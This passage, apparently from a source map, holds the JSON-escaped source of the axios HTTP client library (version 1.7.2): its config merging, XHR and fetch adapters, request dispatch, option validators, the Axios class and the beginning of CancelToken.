specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n // by any combination of letters, digits, plus, period, or hyphen.\n return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n return relativeURL\n ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n : baseURL;\n}\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosHeaders from \"./AxiosHeaders.js\";\n\nconst headersToObject = (thing) => thing instanceof AxiosHeaders ? { ...thing } : thing;\n\n/**\n * Config-specific merge-function which creates a new config-object\n * by merging two configuration objects together.\n *\n * @param {Object} config1\n * @param {Object} config2\n *\n * @returns {Object} New object resulting from merging config2 to config1\n */\nexport default function mergeConfig(config1, config2) {\n // eslint-disable-next-line no-param-reassign\n config2 = config2 || {};\n const config = {};\n\n function getMergedValue(target, source, caseless) {\n if (utils.isPlainObject(target) && utils.isPlainObject(source)) {\n return utils.merge.call({caseless}, target, source);\n } else if (utils.isPlainObject(source)) {\n return utils.merge({}, source);\n } else if (utils.isArray(source)) {\n return source.slice();\n }\n return source;\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDeepProperties(a, b, caseless) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(a, b, caseless);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a, caseless);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function valueFromConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function defaultToConfig2(a, b) {\n if (!utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n }\n\n // eslint-disable-next-line consistent-return\n function mergeDirectKeys(a, b, prop) {\n if (prop in config2) {\n return getMergedValue(a, b);\n } else if (prop in config1) {\n return getMergedValue(undefined, a);\n }\n }\n\n const mergeMap = {\n url: valueFromConfig2,\n method: valueFromConfig2,\n data: valueFromConfig2,\n baseURL: defaultToConfig2,\n transformRequest: defaultToConfig2,\n transformResponse: defaultToConfig2,\n paramsSerializer: defaultToConfig2,\n timeout: defaultToConfig2,\n timeoutMessage: defaultToConfig2,\n withCredentials: defaultToConfig2,\n withXSRFToken: defaultToConfig2,\n adapter: defaultToConfig2,\n responseType: defaultToConfig2,\n xsrfCookieName: defaultToConfig2,\n xsrfHeaderName: defaultToConfig2,\n onUploadProgress: defaultToConfig2,\n onDownloadProgress: defaultToConfig2,\n decompress: defaultToConfig2,\n maxContentLength: defaultToConfig2,\n maxBodyLength: defaultToConfig2,\n beforeRedirect: defaultToConfig2,\n transport: defaultToConfig2,\n httpAgent: defaultToConfig2,\n httpsAgent: defaultToConfig2,\n cancelToken: defaultToConfig2,\n socketPath: defaultToConfig2,\n responseEncoding: defaultToConfig2,\n validateStatus: mergeDirectKeys,\n headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)\n };\n\n utils.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n });\n\n return config;\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport isURLSameOrigin from \"./isURLSameOrigin.js\";\nimport cookies from \"./cookies.js\";\nimport buildFullPath from \"../core/buildFullPath.js\";\nimport mergeConfig from \"../core/mergeConfig.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport buildURL from \"./buildURL.js\";\n\nexport default (config) => {\n const newConfig = mergeConfig({}, config);\n\n let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;\n\n newConfig.headers = headers = AxiosHeaders.from(headers);\n\n newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);\n\n // HTTP basic authentication\n if (auth) {\n headers.set('Authorization', 'Basic ' +\n btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))\n );\n }\n\n let contentType;\n\n if (utils.isFormData(data)) {\n if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {\n headers.setContentType(undefined); // Let the browser set it\n } else if ((contentType = headers.getContentType()) !== false) {\n // fix semicolon duplication issue for ReactNative FormData implementation\n const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];\n headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));\n }\n }\n\n // Add xsrf header\n // This is only done if running in a standard browser environment.\n // Specifically not if we're in a web worker, or react-native.\n\n if (platform.hasStandardBrowserEnv) {\n withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));\n\n if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {\n // Add xsrf header\n const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);\n\n if (xsrfValue) {\n headers.set(xsrfHeaderName, xsrfValue);\n }\n }\n }\n\n return newConfig;\n}\n\n","import utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport parseProtocol from '../helpers/parseProtocol.js';\nimport platform from '../platform/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport progressEventReducer from '../helpers/progressEventReducer.js';\nimport resolveConfig from \"../helpers/resolveConfig.js\";\n\nconst isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';\n\nexport default isXHRAdapterSupported && function (config) {\n return new Promise(function dispatchXhrRequest(resolve, reject) {\n const _config = resolveConfig(config);\n let requestData = _config.data;\n const requestHeaders = AxiosHeaders.from(_config.headers).normalize();\n let {responseType} = _config;\n let onCanceled;\n function done() {\n if (_config.cancelToken) {\n _config.cancelToken.unsubscribe(onCanceled);\n }\n\n if (_config.signal) {\n _config.signal.removeEventListener('abort', onCanceled);\n }\n }\n\n let request = new XMLHttpRequest();\n\n request.open(_config.method.toUpperCase(), _config.url, true);\n\n // Set the request timeout in MS\n request.timeout = _config.timeout;\n\n function onloadend() {\n if (!request) {\n return;\n }\n // Prepare the response\n const responseHeaders = AxiosHeaders.from(\n 'getAllResponseHeaders' in request && request.getAllResponseHeaders()\n );\n const responseData = !responseType || responseType === 'text' || responseType === 'json' ?\n request.responseText : request.response;\n const response = {\n data: responseData,\n status: request.status,\n statusText: request.statusText,\n headers: responseHeaders,\n config,\n request\n };\n\n settle(function _resolve(value) {\n resolve(value);\n done();\n }, function _reject(err) {\n reject(err);\n done();\n }, response);\n\n // Clean up request\n request = null;\n }\n\n if ('onloadend' in request) {\n // Use onloadend if available\n request.onloadend = onloadend;\n } else {\n // Listen for ready state to emulate onloadend\n request.onreadystatechange = function handleLoad() {\n if (!request || request.readyState !== 4) {\n return;\n }\n\n // The request errored out and we didn't get a response, this will be\n // handled by onerror instead\n // With one exception: request that using file: protocol, most browsers\n // will return status as 0 even though it's a successful request\n if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {\n return;\n }\n // readystate handler is calling before onerror or ontimeout handlers,\n // so we should call onloadend on the next 'tick'\n setTimeout(onloadend);\n };\n }\n\n // Handle browser request cancellation (as opposed to a manual cancellation)\n request.onabort = function handleAbort() {\n if (!request) {\n return;\n }\n\n reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle low level network errors\n request.onerror = function handleError() {\n // Real errors are hidden from us by the browser\n // onerror should only fire if it's a network error\n reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request));\n\n // Clean up request\n request = null;\n };\n\n // Handle timeout\n request.ontimeout = function handleTimeout() {\n let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';\n const transitional = _config.transitional || transitionalDefaults;\n if (_config.timeoutErrorMessage) {\n timeoutErrorMessage = _config.timeoutErrorMessage;\n }\n reject(new AxiosError(\n timeoutErrorMessage,\n transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED,\n _config,\n request));\n\n // Clean up request\n request = null;\n };\n\n // Remove Content-Type if data is undefined\n requestData === undefined && requestHeaders.setContentType(null);\n\n // Add headers to the request\n if ('setRequestHeader' in request) {\n utils.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {\n request.setRequestHeader(key, val);\n });\n }\n\n // Add withCredentials to request if needed\n if (!utils.isUndefined(_config.withCredentials)) {\n request.withCredentials = !!_config.withCredentials;\n }\n\n // Add responseType to request if needed\n if (responseType && responseType !== 'json') {\n request.responseType = _config.responseType;\n }\n\n // Handle progress if needed\n if (typeof _config.onDownloadProgress === 'function') {\n request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));\n }\n\n // Not all browsers support upload events\n if (typeof _config.onUploadProgress === 'function' && request.upload) {\n request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));\n }\n\n if (_config.cancelToken || _config.signal) {\n // Handle cancellation\n // eslint-disable-next-line func-names\n onCanceled = cancel => {\n if (!request) {\n return;\n }\n reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel);\n request.abort();\n request = null;\n };\n\n _config.cancelToken && _config.cancelToken.subscribe(onCanceled);\n if (_config.signal) {\n _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);\n }\n }\n\n const protocol = parseProtocol(_config.url);\n\n if (protocol && platform.protocols.indexOf(protocol) === -1) {\n reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config));\n return;\n }\n\n\n // Send the request\n request.send(requestData || null);\n });\n}\n","'use strict';\n\nexport default function parseProtocol(url) {\n const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n return match && match[1] || '';\n}\n","import CanceledError from \"../cancel/CanceledError.js\";\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst composeSignals = (signals, timeout) => {\n let controller = new AbortController();\n\n let aborted;\n\n const onabort = function (cancel) {\n if (!aborted) {\n aborted = true;\n unsubscribe();\n const err = cancel instanceof Error ? cancel : this.reason;\n controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err));\n }\n }\n\n let timer = timeout && setTimeout(() => {\n onabort(new AxiosError(`timeout ${timeout} of ms exceeded`, AxiosError.ETIMEDOUT))\n }, timeout)\n\n const unsubscribe = () => {\n if (signals) {\n timer && clearTimeout(timer);\n timer = null;\n signals.forEach(signal => {\n signal &&\n (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));\n });\n signals = null;\n }\n }\n\n signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));\n\n const {signal} = controller;\n\n signal.unsubscribe = unsubscribe;\n\n return [signal, () => {\n timer && clearTimeout(timer);\n timer = null;\n }];\n}\n\nexport default composeSignals;\n","\n\nexport const streamChunk = function* (chunk, chunkSize) {\n let len = chunk.byteLength;\n\n if (!chunkSize || len < chunkSize) {\n yield chunk;\n return;\n }\n\n let pos = 0;\n let end;\n\n while (pos < len) {\n end = pos + chunkSize;\n yield chunk.slice(pos, end);\n pos = end;\n }\n}\n\nexport const readBytes = async function* (iterable, chunkSize, encode) {\n for await (const chunk of iterable) {\n yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);\n }\n}\n\nexport const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {\n const iterator = readBytes(stream, chunkSize, encode);\n\n let bytes = 0;\n\n return new ReadableStream({\n type: 'bytes',\n\n async pull(controller) {\n const {done, value} = await iterator.next();\n\n if (done) {\n controller.close();\n onFinish();\n return;\n }\n\n let len = value.byteLength;\n onProgress && onProgress(bytes += len);\n controller.enqueue(new Uint8Array(value));\n },\n cancel(reason) {\n onFinish(reason);\n return iterator.return();\n }\n }, {\n highWaterMark: 2\n })\n}\n","import platform from \"../platform/index.js\";\nimport utils from \"../utils.js\";\nimport AxiosError from \"../core/AxiosError.js\";\nimport composeSignals from \"../helpers/composeSignals.js\";\nimport {trackStream} from \"../helpers/trackStream.js\";\nimport AxiosHeaders from \"../core/AxiosHeaders.js\";\nimport progressEventReducer from \"../helpers/progressEventReducer.js\";\nimport resolveConfig from \"../helpers/resolveConfig.js\";\nimport settle from \"../core/settle.js\";\n\nconst fetchProgressDecorator = (total, fn) => {\n const lengthComputable = total != null;\n return (loaded) => setTimeout(() => fn({\n lengthComputable,\n total,\n loaded\n }));\n}\n\nconst isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';\nconst isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';\n\n// used only inside the fetch adapter\nconst encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?\n ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :\n async (str) => new Uint8Array(await new Response(str).arrayBuffer())\n);\n\nconst supportsRequestStream = isReadableStreamSupported && (() => {\n let duplexAccessed = false;\n\n const hasContentType = new Request(platform.origin, {\n body: new ReadableStream(),\n method: 'POST',\n get duplex() {\n duplexAccessed = true;\n return 'half';\n },\n }).headers.has('Content-Type');\n\n return duplexAccessed && !hasContentType;\n})();\n\nconst DEFAULT_CHUNK_SIZE = 64 * 1024;\n\nconst supportsResponseStream = isReadableStreamSupported && !!(()=> {\n try {\n return utils.isReadableStream(new Response('').body);\n } catch(err) {\n // return undefined\n }\n})();\n\nconst resolvers = {\n stream: supportsResponseStream && ((res) => res.body)\n};\n\nisFetchSupported && (((res) => {\n ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {\n !resolvers[type] && (resolvers[type] = utils.isFunction(res[type]) ? (res) => res[type]() :\n (_, config) => {\n throw new AxiosError(`Response type '${type}' is not supported`, AxiosError.ERR_NOT_SUPPORT, config);\n })\n });\n})(new Response));\n\nconst getBodyLength = async (body) => {\n if (body == null) {\n return 0;\n }\n\n if(utils.isBlob(body)) {\n return body.size;\n }\n\n if(utils.isSpecCompliantForm(body)) {\n return (await new Request(body).arrayBuffer()).byteLength;\n }\n\n if(utils.isArrayBufferView(body)) {\n return body.byteLength;\n }\n\n if(utils.isURLSearchParams(body)) {\n body = body + '';\n }\n\n if(utils.isString(body)) {\n return (await encodeText(body)).byteLength;\n }\n}\n\nconst resolveBodyLength = async (headers, body) => {\n const length = utils.toFiniteNumber(headers.getContentLength());\n\n return length == null ? getBodyLength(body) : length;\n}\n\nexport default isFetchSupported && (async (config) => {\n let {\n url,\n method,\n data,\n signal,\n cancelToken,\n timeout,\n onDownloadProgress,\n onUploadProgress,\n responseType,\n headers,\n withCredentials = 'same-origin',\n fetchOptions\n } = resolveConfig(config);\n\n responseType = responseType ? (responseType + '').toLowerCase() : 'text';\n\n let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?\n composeSignals([signal, cancelToken], timeout) : [];\n\n let finished, request;\n\n const onFinish = () => {\n !finished && setTimeout(() => {\n composedSignal && composedSignal.unsubscribe();\n });\n\n finished = true;\n }\n\n let requestContentLength;\n\n try {\n if (\n onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&\n (requestContentLength = await resolveBodyLength(headers, data)) !== 0\n ) {\n let _request = new Request(url, {\n method: 'POST',\n body: data,\n duplex: \"half\"\n });\n\n let contentTypeHeader;\n\n if (utils.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {\n headers.setContentType(contentTypeHeader)\n }\n\n if (_request.body) {\n data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(\n requestContentLength,\n progressEventReducer(onUploadProgress)\n ), null, encodeText);\n }\n }\n\n if (!utils.isString(withCredentials)) {\n withCredentials = withCredentials ? 'cors' : 'omit';\n }\n\n request = new Request(url, {\n ...fetchOptions,\n signal: composedSignal,\n method: method.toUpperCase(),\n headers: headers.normalize().toJSON(),\n body: data,\n duplex: \"half\",\n withCredentials\n });\n\n let response = await fetch(request);\n\n const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');\n\n if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {\n const options = {};\n\n ['status', 'statusText', 'headers'].forEach(prop => {\n options[prop] = response[prop];\n });\n\n const responseContentLength = utils.toFiniteNumber(response.headers.get('content-length'));\n\n response = new Response(\n trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(\n responseContentLength,\n progressEventReducer(onDownloadProgress, true)\n ), isStreamResponse && onFinish, encodeText),\n options\n );\n }\n\n responseType = responseType || 'text';\n\n let responseData = await resolvers[utils.findKey(resolvers, responseType) || 'text'](response, config);\n\n !isStreamResponse && onFinish();\n\n stopTimeout && stopTimeout();\n\n return await new Promise((resolve, reject) => {\n settle(resolve, reject, {\n data: responseData,\n headers: AxiosHeaders.from(response.headers),\n status: response.status,\n statusText: response.statusText,\n config,\n request\n })\n })\n } catch (err) {\n onFinish();\n\n if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {\n throw Object.assign(\n new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request),\n {\n cause: err.cause || err\n }\n )\n }\n\n throw AxiosError.from(err, err && err.code, config, request);\n }\n});\n\n\n","import utils from '../utils.js';\nimport httpAdapter from './http.js';\nimport xhrAdapter from './xhr.js';\nimport fetchAdapter from './fetch.js';\nimport AxiosError from \"../core/AxiosError.js\";\n\nconst knownAdapters = {\n http: httpAdapter,\n xhr: xhrAdapter,\n fetch: fetchAdapter\n}\n\nutils.forEach(knownAdapters, (fn, value) => {\n if (fn) {\n try {\n Object.defineProperty(fn, 'name', {value});\n } catch (e) {\n // eslint-disable-next-line no-empty\n }\n Object.defineProperty(fn, 'adapterName', {value});\n }\n});\n\nconst renderReason = (reason) => `- ${reason}`;\n\nconst isResolvedHandle = (adapter) => utils.isFunction(adapter) || adapter === null || adapter === false;\n\nexport default {\n getAdapter: (adapters) => {\n adapters = utils.isArray(adapters) ? adapters : [adapters];\n\n const {length} = adapters;\n let nameOrAdapter;\n let adapter;\n\n const rejectedReasons = {};\n\n for (let i = 0; i < length; i++) {\n nameOrAdapter = adapters[i];\n let id;\n\n adapter = nameOrAdapter;\n\n if (!isResolvedHandle(nameOrAdapter)) {\n adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];\n\n if (adapter === undefined) {\n throw new AxiosError(`Unknown adapter '${id}'`);\n }\n }\n\n if (adapter) {\n break;\n }\n\n rejectedReasons[id || '#' + i] = adapter;\n }\n\n if (!adapter) {\n\n const reasons = Object.entries(rejectedReasons)\n .map(([id, state]) => `adapter ${id} ` +\n (state === false ? 'is not supported by the environment' : 'is not available in the build')\n );\n\n let s = length ?\n (reasons.length > 1 ? 'since :\\n' + reasons.map(renderReason).join('\\n') : ' ' + renderReason(reasons[0])) :\n 'as no adapter specified';\n\n throw new AxiosError(\n `There is no suitable adapter to dispatch the request ` + s,\n 'ERR_NOT_SUPPORT'\n );\n }\n\n return adapter;\n },\n adapters: knownAdapters\n}\n","// eslint-disable-next-line strict\nexport default null;\n","'use strict';\n\nimport transformData from './transformData.js';\nimport isCancel from '../cancel/isCancel.js';\nimport defaults from '../defaults/index.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport adapters from \"../adapters/adapters.js\";\n\n/**\n * Throws a `CanceledError` if cancellation has been requested.\n *\n * @param {Object} config The config that is to be used for the request\n *\n * @returns {void}\n */\nfunction throwIfCancellationRequested(config) {\n if (config.cancelToken) {\n config.cancelToken.throwIfRequested();\n }\n\n if (config.signal && config.signal.aborted) {\n throw new CanceledError(null, config);\n }\n}\n\n/**\n * Dispatch a request to the server using the configured adapter.\n *\n * @param {object} config The config that is to be used for the request\n *\n * @returns {Promise} The Promise to be fulfilled\n */\nexport default function dispatchRequest(config) {\n throwIfCancellationRequested(config);\n\n config.headers = AxiosHeaders.from(config.headers);\n\n // Transform request data\n config.data = transformData.call(\n config,\n config.transformRequest\n );\n\n if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {\n config.headers.setContentType('application/x-www-form-urlencoded', false);\n }\n\n const adapter = adapters.getAdapter(config.adapter || defaults.adapter);\n\n return adapter(config).then(function onAdapterResolution(response) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n response.data = transformData.call(\n config,\n config.transformResponse,\n response\n );\n\n response.headers = AxiosHeaders.from(response.headers);\n\n return response;\n }, function onAdapterRejection(reason) {\n if (!isCancel(reason)) {\n throwIfCancellationRequested(config);\n\n // Transform response data\n if (reason && reason.response) {\n reason.response.data = transformData.call(\n config,\n config.transformResponse,\n reason.response\n );\n reason.response.headers = AxiosHeaders.from(reason.response.headers);\n }\n }\n\n return Promise.reject(reason);\n });\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nimport {VERSION} from '../env/data.js';\nimport AxiosError from '../core/AxiosError.js';\n\nconst validators = {};\n\n// eslint-disable-next-line func-names\n['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {\n validators[type] = function validator(thing) {\n return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;\n };\n});\n\nconst deprecatedWarnings = {};\n\n/**\n * Transitional option validator\n *\n * @param {function|boolean?} validator - set to false if the transitional option has been removed\n * @param {string?} version - deprecated version / removed since version\n * @param {string?} message - some message with additional info\n *\n * @returns {function}\n */\nvalidators.transitional = function transitional(validator, version, message) {\n function formatMessage(opt, desc) {\n return '[Axios v' + VERSION + '] Transitional option \\'' + opt + '\\'' + desc + (message ? '. ' + message : '');\n }\n\n // eslint-disable-next-line func-names\n return (value, opt, opts) => {\n if (validator === false) {\n throw new AxiosError(\n formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),\n AxiosError.ERR_DEPRECATED\n );\n }\n\n if (version && !deprecatedWarnings[opt]) {\n deprecatedWarnings[opt] = true;\n // eslint-disable-next-line no-console\n console.warn(\n formatMessage(\n opt,\n ' has been deprecated since v' + version + ' and will be removed in the near future'\n )\n );\n }\n\n return validator ? validator(value, opt, opts) : true;\n };\n};\n\n/**\n * Assert object's properties type\n *\n * @param {object} options\n * @param {object} schema\n * @param {boolean?} allowUnknown\n *\n * @returns {object}\n */\n\nfunction assertOptions(options, schema, allowUnknown) {\n if (typeof options !== 'object') {\n throw new AxiosError('options must be an object', AxiosError.ERR_BAD_OPTION_VALUE);\n }\n const keys = Object.keys(options);\n let i = keys.length;\n while (i-- > 0) {\n const opt = keys[i];\n const validator = schema[opt];\n if (validator) {\n const value = options[opt];\n const result = value === undefined || validator(value, opt, options);\n if (result !== true) {\n throw new AxiosError('option ' + opt + ' must be ' + result, AxiosError.ERR_BAD_OPTION_VALUE);\n }\n continue;\n }\n if (allowUnknown !== true) {\n throw new AxiosError('Unknown option ' + opt, AxiosError.ERR_BAD_OPTION);\n }\n }\n}\n\nexport default {\n assertOptions,\n validators\n};\n","'use strict';\n\nimport utils from './../utils.js';\nimport buildURL from '../helpers/buildURL.js';\nimport InterceptorManager from './InterceptorManager.js';\nimport dispatchRequest from './dispatchRequest.js';\nimport mergeConfig from './mergeConfig.js';\nimport buildFullPath from './buildFullPath.js';\nimport validator from '../helpers/validator.js';\nimport AxiosHeaders from './AxiosHeaders.js';\n\nconst validators = validator.validators;\n\n/**\n * Create a new instance of Axios\n *\n * @param {Object} instanceConfig The default config for the instance\n *\n * @return {Axios} A new instance of Axios\n */\nclass Axios {\n constructor(instanceConfig) {\n this.defaults = instanceConfig;\n this.interceptors = {\n request: new InterceptorManager(),\n response: new InterceptorManager()\n };\n }\n\n /**\n * Dispatch a request\n *\n * @param {String|Object} configOrUrl The config specific for this request (merged with this.defaults)\n * @param {?Object} config\n *\n * @returns {Promise} The Promise to be fulfilled\n */\n async request(configOrUrl, config) {\n try {\n return await this._request(configOrUrl, config);\n } catch (err) {\n if (err instanceof Error) {\n let dummy;\n\n Error.captureStackTrace ? Error.captureStackTrace(dummy = {}) : (dummy = new Error());\n\n // slice off the Error: ... line\n const stack = dummy.stack ? dummy.stack.replace(/^.+\\n/, '') : '';\n try {\n if (!err.stack) {\n err.stack = stack;\n // match without the 2 top stack lines\n } else if (stack && !String(err.stack).endsWith(stack.replace(/^.+\\n.+\\n/, ''))) {\n err.stack += '\\n' + stack\n }\n } catch (e) {\n // ignore the case where \"stack\" is an un-writable property\n }\n }\n\n throw err;\n }\n }\n\n _request(configOrUrl, config) {\n /*eslint no-param-reassign:0*/\n // Allow for axios('example/url'[, config]) a la fetch API\n if (typeof configOrUrl === 'string') {\n config = config || {};\n config.url = configOrUrl;\n } else {\n config = configOrUrl || {};\n }\n\n config = mergeConfig(this.defaults, config);\n\n const {transitional, paramsSerializer, headers} = config;\n\n if (transitional !== undefined) {\n validator.assertOptions(transitional, {\n silentJSONParsing: validators.transitional(validators.boolean),\n forcedJSONParsing: validators.transitional(validators.boolean),\n clarifyTimeoutError: validators.transitional(validators.boolean)\n }, false);\n }\n\n if (paramsSerializer != null) {\n if (utils.isFunction(paramsSerializer)) {\n config.paramsSerializer = {\n serialize: paramsSerializer\n }\n } else {\n validator.assertOptions(paramsSerializer, {\n encode: validators.function,\n serialize: validators.function\n }, true);\n }\n }\n\n // Set config.method\n config.method = (config.method || this.defaults.method || 'get').toLowerCase();\n\n // Flatten headers\n let contextHeaders = headers && utils.merge(\n headers.common,\n headers[config.method]\n );\n\n headers && utils.forEach(\n ['delete', 'get', 'head', 'post', 'put', 'patch', 'common'],\n (method) => {\n delete headers[method];\n }\n );\n\n config.headers = AxiosHeaders.concat(contextHeaders, headers);\n\n // filter out skipped interceptors\n const requestInterceptorChain = [];\n let synchronousRequestInterceptors = true;\n this.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {\n if (typeof interceptor.runWhen === 'function' && interceptor.runWhen(config) === false) {\n return;\n }\n\n synchronousRequestInterceptors = synchronousRequestInterceptors && interceptor.synchronous;\n\n requestInterceptorChain.unshift(interceptor.fulfilled, interceptor.rejected);\n });\n\n const responseInterceptorChain = [];\n this.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {\n responseInterceptorChain.push(interceptor.fulfilled, interceptor.rejected);\n });\n\n let promise;\n let i = 0;\n let len;\n\n if (!synchronousRequestInterceptors) {\n const chain = [dispatchRequest.bind(this), undefined];\n chain.unshift.apply(chain, requestInterceptorChain);\n chain.push.apply(chain, responseInterceptorChain);\n len = chain.length;\n\n promise = Promise.resolve(config);\n\n while (i < len) {\n promise = promise.then(chain[i++], chain[i++]);\n }\n\n return promise;\n }\n\n len = requestInterceptorChain.length;\n\n let newConfig = config;\n\n i = 0;\n\n while (i < len) {\n const onFulfilled = requestInterceptorChain[i++];\n const onRejected = requestInterceptorChain[i++];\n try {\n newConfig = onFulfilled(newConfig);\n } catch (error) {\n onRejected.call(this, error);\n break;\n }\n }\n\n try {\n promise = dispatchRequest.call(this, newConfig);\n } catch (error) {\n return Promise.reject(error);\n }\n\n i = 0;\n len = responseInterceptorChain.length;\n\n while (i < len) {\n promise = promise.then(responseInterceptorChain[i++], responseInterceptorChain[i++]);\n }\n\n return promise;\n }\n\n getUri(config) {\n config = mergeConfig(this.defaults, config);\n const fullPath = buildFullPath(config.baseURL, config.url);\n return buildURL(fullPath, config.params, config.paramsSerializer);\n }\n}\n\n// Provide aliases for supported request methods\nutils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {\n /*eslint func-names:0*/\n Axios.prototype[method] = function(url, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n url,\n data: (config || {}).data\n }));\n };\n});\n\nutils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {\n /*eslint func-names:0*/\n\n function generateHTTPMethod(isForm) {\n return function httpMethod(url, data, config) {\n return this.request(mergeConfig(config || {}, {\n method,\n headers: isForm ? {\n 'Content-Type': 'multipart/form-data'\n } : {},\n url,\n data\n }));\n };\n }\n\n Axios.prototype[method] = generateHTTPMethod();\n\n Axios.prototype[method + 'Form'] = generateHTTPMethod(true);\n});\n\nexport default Axios;\n","'use strict';\n\nimport CanceledError from './CanceledError.js';\n\n/**\n * A `CancelToken` is an object that can be used to request cancellation of an operation.\n *\n * @param {Function} executor The executor function.\n *\n * @returns {CancelToken}\n */\nclass CancelToken {\n constructor(executor) {\n if (typeof executor !== 'function') {\n throw new TypeError('executor must be a function.');\n }\n\n let resolvePromise;\n\n this.promise = new Promise(function promiseExecutor(resolve) {\n resolvePromise = resolve;\n });\n\n const token = this;\n\n // eslint-disable-next-line func-names\n this.promise.then(cancel => {\n if (!token._listeners) return;\n\n let i = token._listeners.length;\n\n while (i-- > 0) {\n token._listeners[i](cancel);\n }\n token._listeners = null;\n });\n\n // eslint-disable-next-line func-names\n this.promise.then = onfulfilled => {\n let _resolve;\n // eslint-disable-next-line func-names\n const promise = new Promise(resolve => {\n token.subscribe(resolve);\n _resolve = resolve;\n }).then(onfulfilled);\n\n promise.cancel = function reject() {\n token.unsubscribe(_resolve);\n };\n\n return promise;\n };\n\n executor(function cancel(message, config, request) {\n if 